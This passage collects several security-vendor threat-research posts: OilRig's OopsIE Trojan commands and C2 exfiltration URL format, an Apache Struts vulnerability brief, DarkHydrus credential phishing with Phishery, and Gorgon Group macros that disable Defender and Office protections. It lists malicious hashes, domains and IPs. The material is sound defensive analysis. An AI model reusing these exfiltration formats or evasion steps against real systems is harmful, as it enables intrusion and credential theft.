The Trojan will first check the response to this request for the string spoo, which signifies the C2 does not wish to issue a command. Otherwise, the Trojan will attempt to parse the response for a command, specifically by splitting the decode response on <> and treating the text to the left of the <> string as the command the text to the right as the command arguments. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2. The one difference in this command handler from the previous version is the boom! command, which allows the actor to uninstall the OopsIE Trojan from the system.

Command Description
1 Runs a supplied command and writes it output to %APPDATA%\SchWin.vbs, which will then be uploaded to the C2 server.
2 Downloads a file to the system. Splits argument on "(|)", with the string to the left representing the filename to save and the string to the right representing the data to write to the file.
3 Read specified file and uploads its contents to the C2 server.
boom! Deletes GID.bin, ShwDoc.VBS and ShwDoc.srv files, as well as the scheduled task whose name a GUID stored in the GID.bin file.

Table 2 OopsIE commands

When sending data to the C2 server after running commands, the Trojan will use the following URL structure with either BBY or BBZ splitting the whoami output and the exfiltrated data:
http://www.windowspatch.com/pser?<hex(STDOUT of whoami command)(BBZ|BBY)hex(up to 1000 bytes of hexadecimal data)>
 
Conclusion
The OilRig group remains a persistent adversary in the Middle East region. They continue to iterate and add capabilities to their tools while still functionally using the same tactics over and over again. Within the time frame we have been tracking the OilRig group, they have repeatedly shown a willingness to add less commonly found functionality to their tools, such as their heavy use of DNS tunneling in their backdoors or adding authentication to their webshells. This attack is no different, now adding anti-analysis capabilities into their tools. This adversary is highly resourceful and continues to adapt over time. However, the tactics they continue to deploy are generally unsophisticated, and simple security hygiene would help organizations protect themselves against this threat.
Palo Alto Networks customers are protected from this OilRig attack campaign and OopsIE by:

  • AutoFocus customers can track this Trojan with the OopsIE tag
  • All known OopsIE samples are marked with malicious verdicts in WildFire
  • All known OopsIE C2 domains have DNS signatures and are classified as Command and Control

 
Indicators of Compromise
OopsIE Trojan
36e66597a3ff808acf9b3ed9bc93a33a027678b1e262707682a2fd1de7731e23
055b7607848777634b2b17a5c51da7949829ff88084c3cb30bcb3e58aae5d8e9
6b240178eedba4ebc9f1c8b56bac02676ce896e609577f4fb64fa977d67c0761
9e8ec04e534db1e714159cc68891be454c2459f179ab1df27d7f89d2b6793b17

OopsIE C2
defender-update[.]com
windowspatch[.]com

Threat Brief: Information on Critical Apache Struts Vulnerability CVE-2018-11776

Posted on by Unit 42

Situation Overview
On August 22, 2018, the Apache Foundation released a critical security update for CVE-2018-1176, a remote code execution vulnerability affecting Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16. The Apache Foundation has urged everyone to apply the security updates as soon as possible.
This blog is to provide information to help organizations assess their risk of the vulnerability and to inform Palo Alto Networks customers of protections in place that can help mitigate their risk until they can apply the security updates. Palo Alto Networks customers who have deployed the latest vulnerability signatures released on August 24, 2018, are protected.

Vulnerability Information
According to both the Apache Foundation and security researcher Man Yue Mo, this vulnerability can enable remote code execution on a server running a vulnerable version of Apache Struts. The method of attack would be through a specially crafted URL sent to the vulnerable system. In most cases, this means no authentication is required to exploit the vulnerability.
A successful attack would run code in the security context that Struts is using. In some cases, this could effectively lead to a total compromise of the system.
It’s important to note, however, that the vulnerability is not exploitable in default configurations. The following two conditions must both be met for a system to be vulnerable to attack:

  1. The alwaysSelectFullNamespace flag is set to “true” in the Struts configuration. (Note: If your application uses the popular Struts Convention plugin this is set to “true” by default by the plugin.
  2. The Struts application uses “actions” that are configured without specifying a namespace, or with a wildcard namespace. This condition applies to actions and namespaces specified in the Struts configuration file . NOTE: your application uses the popular Struts Convention plugin this condition also applies to actions and namespaces specified in Java code.

If your Struts application does not meet both of these conditions, your application may still be vulnerable but not (currently) exploitable via CVE-2018-11776.
In particular, if your application uses the popular Struts Convention plugin, it appears to potentially increase your risk of exploitability vis-à-vis other Struts implementations that do not use that plugin.

Threat Environment Information
The vulnerability was disclosed on August 22 in conjunction with security updates that address it. There is detailed information about the vulnerability and how to exploit it available currently. There is also proof of concept (PoC) code available already. As noted above, the PoC works only against systems that are vulnerable and meet both conditions for exploitability.
Some have noted that a previous critical Struts vulnerability was actively attacked last year only three days after the release of the security update and vulnerability information.
There are no known active attacks at this time and the current requirement that two, non-default conditions need to be met for the vulnerability to be exploitable makes for a different threat environment.
However with active PoC available we can expect at the minimum probing, if not active exploitation of this vulnerability in the near term.
Organizations should focus their risk assessments for possible attack until they can patch on four things:

  1. Are they using the Struts Convention plugin?
  2. Do they meet both of the required conditions for exploitation?
  3. Any weaponization or indication of attacks using the current PoC
  4. Developments of new PoC or attacks that render moot the two conditions required for exploitability?

Guidance and Protections for Palo Alto Networks Customers
All organizations running vulnerable versions of Apache Struts should deploy the security updates as soon as possible.
Organizations can and should prioritize scheduling and deployment of the security updates based on their security policy and risk assessment, and  on currently available information.
Palo Alto Networks customers who have deployed vulnerability signatures in content release version 8057 released on August 24, 2018, which include ID 33948 Name: Apache Struts 2 Remote Code Execution Vulnerability, are protected against currently known exploits against that vulnerability.
Our customers should still deploy the security update as recommended above, but can and should deploy the latest vulnerability signature immediate for additional protection. With this addition protection available, our customers can and should include that as part of their decisions around security and deployment of the security updates and their risk assessment of the vulnerability and threat environment.
As always, we are monitoring the situation closely and will provide additional details as they become available.

Four Unit 42 Vulnerability Researchers Make MSRC Top 100 for 2018

Posted on by Unit 42

Palo Alto Networks Unit 42 is proud to announce that four of our researchers were named to the Microsoft Security Response Center (MSRC) “Top 100 Security Researchers List” for 2018. This is the third year Unit 42 researchers have been included in this prestigious list, which is announced every year at Black Hat. This year’s Unit 42 winners are:

Rank Name
10 Gal De Leon
13 Hui Gao
73 Tao Yan
79 Jin Chen

Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Android and other ecosystems. By proactively identifying vulnerabilities, developing protections for our customers, and sharing them with Microsoft for patching, we are removing weapons used by attackers that compromise enterprise, government and service provider networks.
Below is the full list of this year’s top 100. To better understand how this recognition is both important and an honor, this posting by Phillip Misner of the MSRC gives you an idea of what’s behind the program.
MSRC_1

Threat Brief: Cyber Attackers Using Your Home Router To Bring Down Websites

Posted on by Unit 42

In recent research, Palo Alto Networks found attackers were targeting home routers to take control and use them for attacks against other websites that can bring them down. Here we explain this type of attack and what you should do.

Why should I care, what can it do to me?
These attacks could affect you in two ways:

  1. They can slow down or disrupt your internet connection,
  2. They can also make you an unwitting participant in attacks against other websites.

What causes this kind of attack?
Weak passwords and out-of-date software can both enable attackers to take complete control of your home router.

How can I prevent it?
Attackers target home routers like this by targeting default passwords and out-of-date software on the routers. An easy thing you can do is restart your router once a week (typically by unplugging it).
You can also stay safe by changing the password on your router and updating the software. If you’re not sure how to do this, contact your Internet Service Provider (ISP) that gave you the router for help.

How does it work?
When devices (in this case, the routers) are under someone else’s control like this, the collection is referred to as a “botnet”, a network (-net) of remotely controlled systems or devices (bot-).
When attackers have complete control of your home router, they can install attack software that they control, turning the device into a “bot”. Attacks can make all the controlled routers in a botnet do anything they want, including sending huge amounts of data to try and bring websites down.
These kinds of attacks are called “Distributed Denial of Service” or “DDoS” attacks. Attackers use them to take down websites for several reasons:

  • Personal or political reasons
  • To blackmail websites to pay money or face attack
  • To act as a diversion for other more serious attacks
  • Simply to create mischief

About
Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.
They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.
Got a topic you want us to write about for you, your friends, or your family? Email us at u42comms@paloaltonetworks.com.

DarkHydrus Uses Phishery to Harvest Credentials in the Middle East

Posted on by Robert Falcone

Last week, Unit 42 released a blog on a newly named threat group called DarkHydrus that we observed targeting government entities in the Middle East. The attack that we discussed in our previous publication involved spear-phishing to deliver a PowerShell payload we call RogueRobin; however, we are aware of DarkHydrus carrying out a credential harvesting attack in June 2018. It also appears that this an ongoing campaign, as we have evidence of previous credential harvesting attempts using the same infrastructure dating back to the Fall of 2017. These attacks were targeting government entities and educational institutions in the Middle East.
The credential harvesting attacks used spear-phishing emails that contained malicious Microsoft Office documents that leveraged the “attachedTemplate” technique to load a template from a remote server. When attempting to load this remote template, Microsoft Office will display an authentication dialog box to ask the user to provide login credentials. When entered, these credentials are then sent to the C2 server, which allows DarkHydrus to collect the user account credentials.
Based on Unit 42’s analysis, DarkHydrus used the open-source Phishery tool to create two of the known Word documents used in these credential harvesting attacks. As discussed in our previous blog, this further strengthens DarkHydrus’ use of the open source for their attack tools.
A phishing attack to steal credentials like this is not new: US-CERT warned of the same technique by a different threat group in 2017. What is noteworthy is DarkHydrus’ use of an open-source tool to carry out targeted attacks against these entities in the Middle East, which is fitting of their reliance of open source tools and these attacks are consistent in terms of targeting with what we reported last week. Based on this, we can reasonably presume this group will continue to carry out attacks against these kinds of targets in the Middle East in the near-future.

Credential Harvesting Attack
On June 24, 2018, Unit 42 observed DarkHydrus carrying out a credential harvesting attack on an educational institution in the Middle East. The attack involved a spear-phishing email with a subject of “Project Offer” and a malicious Word document (SHA256: d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318) as an attachment. When opened, the malicious Word document displays a dialog box that asks the user for their credentials, as seen in Figure 1.

Hydrus_1

Figure 1. Authentication dialog box presented to the user when opening document

As you can see in Figure 1, the authentication prompt says “Connecting to <redacted>. 0utl00k[.]net”, which is a DarkHydrus C2 server. If the user enters their credentials in this dialog box and presses ‘Ok’, the credentials are sent to the C2 server via the URL https://<redacted>.0utl00k[.]net/download/template.docx. With the authentication dialog box gone, Word displays the contents of the document, which in this specific case was an empty document. While this document was empty, the authentication prompt may have made the targeted user more likely to enter their credentials, thinking it’s necessary to view the contents of the document.
DarkHydrus also created their C2 domain carefully in an attempt to further trick the targeted user to enter their credentials. Firstly, the redacted subdomain was the domain of the targeted educational institution. Also, the 0utl00k[.]net domain resembles Microsoft’s legitimate "outlook.com” domain that provides free email services, which also make the user less suspicious and more likely to enter their credentials. Some users may not even notice what domain the dialog states they are connecting to and habitually type their Windows credentials.
We found two additional Word documents using the 0utl00k[.]net domain to harvest credentials, seen in Table 1. We first saw these related Word documents in September and November 2017, which suggests that DarkHydrus has been carrying out this credential harvesting campaign for almost a year.

First Seen SHA256 Filename Remote Template
11/12/2017 9eac37a5c6.. PasswordHandoverForm.docx https://0utl00k[.]net/docs
09/18/2017 0b1d5e1744.. استطلاع.docx https://0utl00k[.]net/docs

Table 1. Additional DarkHydrus Word documents used to steal credentials

Both of these related documents use the attachedTemplate technique to steal credentials by sending them to a URL https://0utl00k[.]net/docs. Unlike the June 2018 document that displayed no content after credential theft, both of these documents displayed content that appears pertinent to the targeted organization. The September 2017 document displays an employee survey, which can be seen in Figure 2.

Hydrus_2

Figure 2. Employee survey displayed after credential theft

The November 2017 document displays a password handover document after credential theft occurs, as seen in Figure 3. We were unable to find the displayed document via open source research, which may suggest that the actor gathered this password handover form from a prior operation.

Hydrus_3

Figure 3. Password handover form displayed after credential theft

The infrastructure used in these credential harvesting attacks used the domain 0utl00k[.]net, which at the time of the attacks resolved to 107.175.150[.]113 and 195.154.41[.]150. This same infrastructure was discussed in the Campaign Analysis of our previous blog.

Phishery Tool
While analyzing the three malicious Word documents, we determined that two of the documents were created using an open source tool called Phishery. The Phishery tool is capable of the following:

  1. Creating malicious Word documents by injecting a remote template URL
  2. Hosting a C2 server to gather credentials entered into authentication dialog boxes displayed when attempting to obtain the remote template

We were able to confirm that DarkHydrus used Phishery to create these Word documents by using the open source tool to create a document and host a C2 ourselves. The DarkHydrus document used in the June 2018 attacks had a remote template URL added, as seen in Figure 4.

Hydrus_4

Figure 4. Remote template URL seen in the DarkHydrus document from June 2018

We were able to replicate the remote template path seen in Figure 4 by using Phishery to create a weaponized delivery document. Figure 5 shows Phishery’s output to the command that injects a URL into a file named “good_test.docx”, which it will save the resulting file to “bad_test.docx”.

Hydrus_5

Figure 5. Phishery command used to create a document that has same remote template URL as DarkHydrus

To confirm, we used Phishery’s C2 server and opened DarkHydrus’ Word document from the June 2018 attacks. When presented with the authentication dialog box, we entered “fakename” and “fakepass” as credentials, as seen in Figure 6 and pressed enter.

Hydrus_6

Figure 6. Authentication dialog box with fake credentials entered

On the C2 server, we observed Phishery receiving the inbound request and capturing the credentials, as seen in Figure 7. The C2 server was able to obtain the “fakename” and “fakepass” credentials entered into the authentication dialog box displayed when opening DarkHydrus’ Word document.

Hydrus_7

Figure 7. Output of Phishery C2 showing captured credentials

Conclusion
DarkHydrus is a threat group carrying out attack campaigns targeting organizations in the Middle East. We discovered DarkHydrus carrying out credential harvesting attacks that use weaponized Word documents, which they delivered via spear-phishing emails to entities within government and educational institutions. This threat group not only used the Phishery tool to create these malicious Word documents, but also to host the C2 server to harvest credentials. The use of Phishery further shows Dark Hydrus’ reliance on open source tools to conduct their operations.
Palo Alto Networks customers are protected from Dark Hydrus by:

  • The C2 server 0utl00k[.]net is classified as Malware
  • All Phishery documents created by DarkHydrus have malicious verdicts in WildFire
  • AutoFocus customers can monitor this threat group’s activity via the DarkHydrus tag

Indicators of Compromise
Samples
d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318
9eac37a5c675cd1750cd50b01fc05085ce0092a19ba97026292a60b11b45bf49
0b1d5e17443f0896c959d22fa15dadcae5ab083a35b3ff6cb48c7f967649ec82

Infrastructure
0utl00k[.]net
107.175.150[.]113
195.154.41[.]150

The Gorgon Group: Slithering Between Nation State and Cybercrime

Posted on by Robert Falcone

Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.
In addition to the numerous targeted attacks, Unit 42 discovered that the group also performed a litany of attacks and operations around the globe, involving both criminal as well as targeted attacks.
Starting in February 2018, Palo Alto Networks Unit 42 identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom, Spain, Russia, and the United States. Additionally, during that time, members of Gorgon Group were also performing criminal operations against targets across the globe, often using shared infrastructure with their targeted attack operations.
Gorgon Group's activity is interesting because in addition to traditional command and control (C2) domain utilization, Gorgon Group used common URL shortening services to download payloads; ultimately providing an extensive list of click counts and statistical data. Also, interestingly, Gorgon Group has a diverse and active criminal element. On much of the C2 infrastructure we identified several crimeware family samples. RATs such as NjRat and infostealers like Lokibot were leveraging the same C2 infrastructure as that of the targeted attacks.
Using numerous decoy documents and phishing emails, both styles of attacks lacked overall sophistication, but the effectiveness of this group and campaign cannot be denied.

Attack Delivery and Infrastructure Analysis
The attack methodology, as well as analysis of several of the ".vbs", ".doc" and ".exe" samples found hosted in the attacker's infrastructure has been covered by 360 and Tuisec. Both 360 and Tuisec found that the most commonly observed and consistent attack pattern consists of the following stages:
Gorgon_1

Figure 1. Basic attacker methodology

At the initial stage, the phishing attempts are kept very simple and lightweight by using OLE2Link objects that will usually make use of URL shortening services such as Bitly and t2m[.]io.

Figure 2 OLE2Link content example

While investigating the domains and infrastructure used by the phishing components of Gorgon Group, Unit 42 researchers witnessed several common operational security flaws with Gorgon Group's actors throughout their many campaigns. It was one of these OPSEC failures that gave us an interesting cross-section of malware Gorgon Group is using. Included in the directories were a combination of files leveraged in targeted attacks mentioned above against nation states. Additionally, there was a plethora of malware samples that were criminal in nature.

Gorgon_3

Figure 3. Open directory listing of hxxp://stevemike-fireforce[.]info/

Based on the contents and structure of the initial identified open directories, it was possible to find several infrastructure patterns in use. An example of a domain structure and malware delivery contents is shown in the following table:

SHA-256 Infrastructure URL
4e4967e3d39256049bc1054b966e5c609245fd3b2a934fda5cd1885526d8221e stemtopx[.]com/work/1.doc
d2f58b08f8abfe5055f3c1f0b8d991dfe1deb62807a5336b134ce2fb36d87284 stemtopx[.]com/work/3.exe
db4d8d931f1b979cf32d311f9b03e851d3283b4f7e86252730247da25cf9f093 stemtopx[.]com/work/2.exe
4c6e3d8fdb2394edffe4a5bc45a238749e929301efa8bcfa3a247b1ab68eac54 stemtopx[.]com/work/1.exe
81de431987304676134138705fc1c21188ad7f27edf6b77a6551aa693194485e stemtopx[.]com/work/new/20.exe
26151f1e24bc97532e49013fbe04919de1f51e346dba1f10ce2e389160f2fb9d stemtopx[.]com/work/new/3.exe
a100ce0a67c5890bcc38d2b6e30f9164dfe266126ec40a2fd7eb8e941dc7d025 stemtopx[.]com/work/new/2.exe
806098afc2148dabb838b24c4dfaa148269ac3ddf769aee54e75d46bfef0c506 stemtopx[.]com/work/doc/20.doc
bf37d6cb393b440f790ad2b333624fde079e10bfaeb44d65188e3ccc551c982f stemtopx[.]com/work/k/1.docx
81de431987304676134138705fc1c21188ad7f27edf6b77a6551aa693194485e stemtopx[.]com/work/k/1s.exe


Table 1. Malware samples and infrastructure for hxxp://stemtopx[.]com

Pattern Example
[domain]/work/docnew/[filename]
[domain]/administrator/help/[filename]
[domain]/xe/m/[filename]
[domain]/xe/s/[filename]
[domain]/images/yupsia/exe/[filename]
[domain]/images/yupsia/doc/[filename]

Table 2. Examples of domain patterns

The Gorgon Group Crew Breakdown
Finding accessible directories, in combination with their other operational security failures, made it easy to start connecting the dots on Gorgon Group members. 360 and Tuisec already identified some Gorgon Group members. In addition to Subaat, we counted an additional four actors performing attacks as part of Gorgon Group. While it’s not known if the attackers physically reside in Pakistan, all members of Gorgon Group purport to be in Pakistan based on their online personas.

fudpages

One member of Gorgon Group- we're calling ‘fudpages’, was found during this campaign activity based on their utilization of shared infrastructure. One specific Microsoft document drew our attention. (446e1c80102c8b9662d66d44525cb9f519369061b02446e0d4cd30cd26d79a25)
This Microsoft Word document was sent via email to several industries across the US and Switzerland. We noticed that this document pulls down additional malware from a C2 also being used in attacks by other Gorgon Group members.  Additionally, this document communicates to a relatively new piece of C2 infrastructure- umarguzardijye[.]com, which is hosted on 91[.]234[.]99[.]206.
Gorgon_4

Figure 4 WHOIS information for umarguzardijye[.]com

Fudpages, similar to other Gorgon Group members, made many of the same OPSEC failures of his or her fellow Gorgon Group members.
Gorgon_5

Figure 5 Open directory of umarguzardijye[.]com

The WHOIS record for our new domain, umarguzardijye[.]com, shows that the registrant organization is "fudpages" and the address provided in Pakistan. When looking closer at the IP hosting umarguzardijye[.]com, we noticed 91[.]234[.]99[.]206 hosts two additional domains that drew our attention-fudpages[.]ru and fudpage[.]ru. Fudpage appears to be a small marketplace selling bulletproof hosting, RDP sessions, fake documents and a litany of additional malicious wares.
Gorgon_6

Figure 6 Advertisement website for FUD pages and spamming tools

Listed on fudpage's marketplace are several pieces of contact information, which ultimately led us to an underground persona that was selling, distributing and trading maliciousness across underground forums.
Gorgon_7

Figure 7. Underground forum posting for RAT

Operating underground since at least 2016, fudpages is also active on streaming sites like Youtube, where they use it as an advertising platform.
Gorgon_8

Figure 8. Youtube video posting on how to perform malicious activities

Like all of Gorgon Group’s members, Fudpage’s online profile, infrastructure utilization and standardization, connects them back to Gorgon Group. This connection to Gorgon Group helps illustrate the seemingly standardized methodologies Gorgon Group most often employs.

The Tale of Two Intentions: Criminal and Targeted
As part of the investigation, Unit 42 researchers were able to identify an interesting characteristic about how the Gorgon Group crew uses shared infrastructure between cybercrime and targeted attacks. The crew combines both regular crime and targeted attack objectives using the same domain infrastructure over time, rarely changing their TTPs.
Starting in mid-February, Unit 42 researchers have been tracking an active campaign sharing a significant portion of infrastructure leveraged by Gorgon Group for criminal and targeted attacks. In Figure 9, below, red indicates targeted IP addresses, malware, registrant information, and domains associated with the targeted attack campaign while blue indicates criminal attack IP addresses, malware used, registrant information, and domains:
Gorgon_9

Figure 9. Overlap between infrastructure

While looking at the total cluster of Gorgon Group activity, it’s also interesting to look at the total click volume during the campaign’s timeframe. Leveraging click counts for the campaign for Bitly, we were able to see Gorgon Group’s activity volume increase throughout April.
Gorgon_10

Figure 10. Total clicks performed on Gorgon Group infrastructure over time

Looking specifically at one domain used in both cybercrime and targeted attacks, we can see a micro viewpoint into their campaign. Between April 1, 2018 and May 30, 2018, we observed the domain stevemike-fireforce[.]info used in a Gorgon Group cybercrime campaign involving more than 2,300 emails and 19 documents in the initial attack. This same domain was also used during the same period of time in targeted attacks against several worldwide nation state agencies.
Analysis of the data allowed Unit 42 researchers to make some interesting conclusions:

  • Several unique domains are used for both cybercrime and targeted attacks.
  • The amount of sessions for cybercrime is higher than targeted, as expected.
  • There is no specific pattern on when targeted attacks happen, the domains can initially be used for cybercrime and then quickly utilized in a targeted attack with little warning.

As a graphical representation, Figure 11, below, indicates the amount of unique sessions observed for this domain over the campaign’s operational time, representing the attack intention in two separate areas.
It's interesting to observe on April 24th, this domain delivers a targeted attack aimed at several worldwide governmental bodies, in the middle being of also being used in the delivery of a malspam campaign. The subject used in this case of targeted attack was "Pakistan eying Sukhoi-35 figther planes as part of defense deal from Rusia":

Gorgon_11

Figure 11 Crimeware activity versus targeted activity against stevemike-fireforce[.]info

In order to have a better idea of the volume of unique attacks per date and intention, see the following volume-based representation in Figure 12, where targeted attack volumes are represented in red and crime in green:
Gorgon_12

Figure 12. Volume of crimeware activity versus targeted attacks using stevemike-fireforce[.]info

Focusing on one domain allowed us to quickly understand its usage and better understand how it interconnects to a larger malspam campaign.

Intention #1: Cybercrime
Criminal attacks are not new to this crew, some of which was covered in our previous blog for Gorgon Group member Subaat. During the current campaign, Gorgon Group’s criminal enterprises netted 132,840 Bitly clicks from mid-February to the present. Targeting a large cross-section of industries, there was little in terms of targeting during their criminal activity.

Gorgon_13Figure 13. Criminal Attacks Bitly Link Clicks Worldwide

A majority of the crimeware distribution was done via standard malspam campaigns leveraging well-known "Purchase Order" and "SWIFT" lures. Most of the filenames included a variance of filenames like:

  • SWIFT {Date}.doc
  • SWIFT COPY.doc
  • PURCHASE ORDER {Random Value}.doc
  • DHL_RECEIPT {Random Value}.doc
  • SHIPPING RECEIPT {Date}.doc

The tools used by the crew do not really differ in general crime vs more targeted attacks, in both instances they related to several remote access and data stealing malware families. The top five malware families identified as criminal in nature so far have been the following:

  • NjRAT: NjRAT is a remote-access Trojan commonly used and witnessed in attacks that are both criminal and targeted attacks since as early as 2013.
  • RevengeRAT : RevengeRAT is a remote-access Trojan that was released for free on underground forums in 2016. While RevengeRAT could be used in targeted attack campaigns, it is commonly witnessed in criminal malspam campaigns.
  • LokiBot: LokiBot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.
  • RemcosRAT: RemcosRAT is a remote-access Trojan that first appeared in underground forums in July of 2016. The RemcosRAT has a feature-rich builder, which allows for the creation of Microsoft Word documents with malicious macros.
  • NanoCoreRAT: Generally delivered via phishing, NanocoreRAT is a remote-access Trojan that opens a back door and steals information from the compromised computer.

One interesting note about the criminal activity of Gorgon Group is their usage of Bitly. Similar to that of their targeted attacks, Gorgon Group leveraged Bitly for distribution and shortening of C2 domains. Using the same techniques across both their criminal and targeted activity, made it easier for us to cluster Gorgon Group infrastructure and activity.

Gorgon_14

Figure 14. Clicks on Bitly links in criminal attacks

Overall, in spite of the lack of sophistication in Gorgon Group’s activity, they were still relatively successful; once again proving that simple attacks on individuals without proper protections, work.

Intention #2: Targeted Attacks
Beginning in early March 2018, Unit 42 started observing targeted attacks against Russian, Spanish and United States government agencies operating in Pakistan. As we continued to investigate, it became apparent that Gorgon Group had been consistently targeting worldwide governmental organizations operating within Pakistan. While Gorgon Group has been making minor changes in their methodologies, they are still actively involved in both targeted and criminal attacks.
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199. The spear phishing emails involved in this campaign would most often originate from Gmail accounts masquerading as legitimate individuals, such as a prominent Lt. Col in the Pakistani military.
The subjects of the spear phishing emails were also interesting, often contained subject matter related to terrorist groups, military activity, or political topics.

  • Acting FOREIGN Minister of Pakistan
  • Invitation to lady wives of H.E. Ambassador/High Commissioner from lady wife of H.E. High Commissioner of Bangladesh
  • Pakistan eying Sukhoi-35 fighter planes as part of defense deal from Russia 2018.143
  • PG COURSE IN 2018-2021 BATCH India Bangladesh and Pakistan
  • Press Release on Observance of Historic Mujibnogor Dibosh by Pakistan Mission on 17 April 2018
  • Afghan Bomb Blast report by ISI
  • USAJOBS Daily Saved Search Results for New GS15 for 3/30/2018
  • How Rigging take place in Senate Elections in Pakistan
  • Afghan Terrorist group details ISI Restricted113
  • 1971 Liberation War Freedom Fighters in Pakistan Army Custody Database

Additionally, the following filenames were witnessed in these attacks (spelling and grammar mistakes included):

  • Liberation Freedom Fighter.xlam
  • NSC details of participants.xlam
  • Raw Sect Vikram report on Pak Army Confidential.doc
  • USA Immagration Policy for Families.ppam
  • doc
  • CV FM.doc
  • doc
  • Sukhoi35 deal report.doc
  • Nominal Roll.doc
  • Press Release 17 April.doc
  • Afghan Blast report by ISI.doc
  • Rigging in Pakistan Senate.doc
  • Afghan Terrorist group report.doc

The payloads for these attacks varied in malware family. The popular NanoCoreRAT, QuasarRAT, and NJRAT variants were used heavily.
In a number of these attacks, the popular third-party URL shortening service Bitly was used to ultimately deliver the payloads for these attacks.
It's important to remember, that while we were using Bitly links to help gauge click location, anyone who clicks these links (including researchers) are also counted. So, while having this click information is valuable, it's only one small piece of a larger picture related to targeting.
Gorgon_15

Figure 15. Bitly Click Information Related to a Gorgon Group C2 Domain

The heaviest concentration of Bitly URL interaction came from Pakistan, which at 410 clicks accounted for 39% of all clicks. The United States amassed 194 clicks, accounting for 19%.

Gorgon_16

Figure 16 Clicks on Bitly links in targeted attacks

The attacks took place primarily in March, late April, and early May of this year.

Conclusion
Gorgon Group isn't the first actor group we've witnessed dabble in both nation state level and criminal attacks. What makes Gorgon Group unique is, that despite the group’s operational security failures, they still remained particularly effective. Looking closer at the actors participating in Gorgon Group gave us a unique perspective into the inner workings of an attack.
Leveraging the same infrastructure for targeted attacks and criminal enterprises made for an interesting cross-section of mixed intentions. Ultimately, this lead us to the conclusion that several of Gorgon Group’s members have a nexus in Pakistan. While Gorgon Group remains active, Palo Alto Networks customers are protected from this threat in the following ways:

  • WildFire detects all current Gorgon Group files with malicious verdicts.
  • AutoFocus customers can track these samples with the Gorgon Group actor tag.
  • Traps blocks all of the files currently associated with Gorgon Group

Appendix

Analysis of a targeted attack
"1971 Liberation War Freedom Fighters in Pakistan ArmyCustody Database98"
The delivery documents used in the targeted attacks are Microsoft Office documents that contain a macro that attempts to compromise the system. The infection process is rather interesting, as it involves multiple layers of .NET assemblies that will eventually download the NanoCore remote administration tool (RAT) from a remote server and inject it into another process. In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. The infection process not only downloads and executes a payload, but it also downloads and opens a decoy document to lower the recipient's suspicions of the entire process. Additionally, the process attempts to lower the overall security of the system by disabling security features in Microsoft Office and Windows Defender. The payloads themselves are rather interesting, as the developer wraps the malicious code with legitimate source code freely available online.

Delivery document
The delivery document contains a macro that downloads an executable from a remote server. The macro downloads a payload from hxxp://lokipanelhostingpanel[.]gq/work/kh/1.exe (SHA256: 84ed59953f57f5927b9843f35ca3c325155d5210824d3b79b060755827b51f72) by running the following command line process:

The macro then attempts to kill Microsoft Office and Windows Defender processes using the ‘taskkill’ command. The command does not attempt to kill the specific Office process that would load the particular delivery document, such as Excel in the case of this “.xlam” file, but instead attempts to kill processes associated with Word, Excel, PowerPoint and Publisher. This blanket approach to kill the appropriate process suggests that the actor does not change this command within their macro across delivery documents they created within these Microsoft Office applications. The command does not just attempt to kill the Windows Defender process, but also attempts to clear the detection definitions to not trigger an antivirus alert. The macro performs all of these activities with the following command:

The macro also attempts to deactivate security mechanisms within Microsoft Office products by modifying the registry. First, the macro attempts to enable macros in multiple versions of Word, PowerPoint, Publisher and Excel by setting the following registry keys to the value of 1:

The macro also attempts to disable protections provided by the Protected View capability within Word, Excel, and PowerPoint by setting the following registry keys to a value of 1:

First Stage Payload
The payload installed by the macro is a downloader Trojan written in VB.NET that downloads a secondary payload and decoy document. It appears the author of this downloader used the source code from an open source tool called "Sales System Application", which is freely available at hxxp://www.a1vbcode[.]com/app-2999.asp. We believe the author of the downloader uses this Sales System Application to provide a legitimate look to their malicious payload. The malware author adds their own code to the application to run their malicious code before calling the legitimate functions that display the graphical user interface. The following functions are called when the application attempts to initialize the menu:

The "Speed" method in the legitimate ETransaksi class contains legitimate code from the Sales System Application; however, the author of this tool includes this code in an if/else construct that bypasses these instructions by setting a false flag to skip the legitimate code and execute the next step to the malicious code. The following code example shows the false flag being set (5 > 115) and the ETransaksi.diomadnfagaghagh method being called:

The payload uses this technique to run a chain of methods that eventually carry out its malicious task. With the exception of the ‘Speed’ method previously mentioned, the names of the methods called in this chain appear to be fairly random, as seen in the following list:

  1. ETransaksi.Speed
  2. ETransaksi.diomadnfagaghagh
  3. ETransaksi.fjcsERIfjfiojsGHIsdifjksi
  4. ETransaksi.gsgjIDJIGJIGJIGJIFDOSpl
  5. ETransaksi.FJaioefgkaoeK

The last two methods in the chain carry out a majority of the first payload’s functionality. The ETransaksi.gsgjIDJIGJIGJIGJIFDOSpl method obtains a resource named "fgjfaieSDFAOKEfj.GSrdofjksrgj", which is decrypted in the ETransaksi.FJaioefgkaoeK method using a multibyte XOR cipher with the following key:

The resulting cleartext is another .NET assembly, which the payload will load within its own process space.

Embedded Trojan
This Trojan loaded by the first payload contains several embedded executables that it uses to ultimately download and execute a secondary payload, as well as downloading and opening a decoy document. An unknown programmatic builder tool appears to have created this Trojan, as the code shows multiple configuration options for additional functionality that were not enabled within this specific sample.
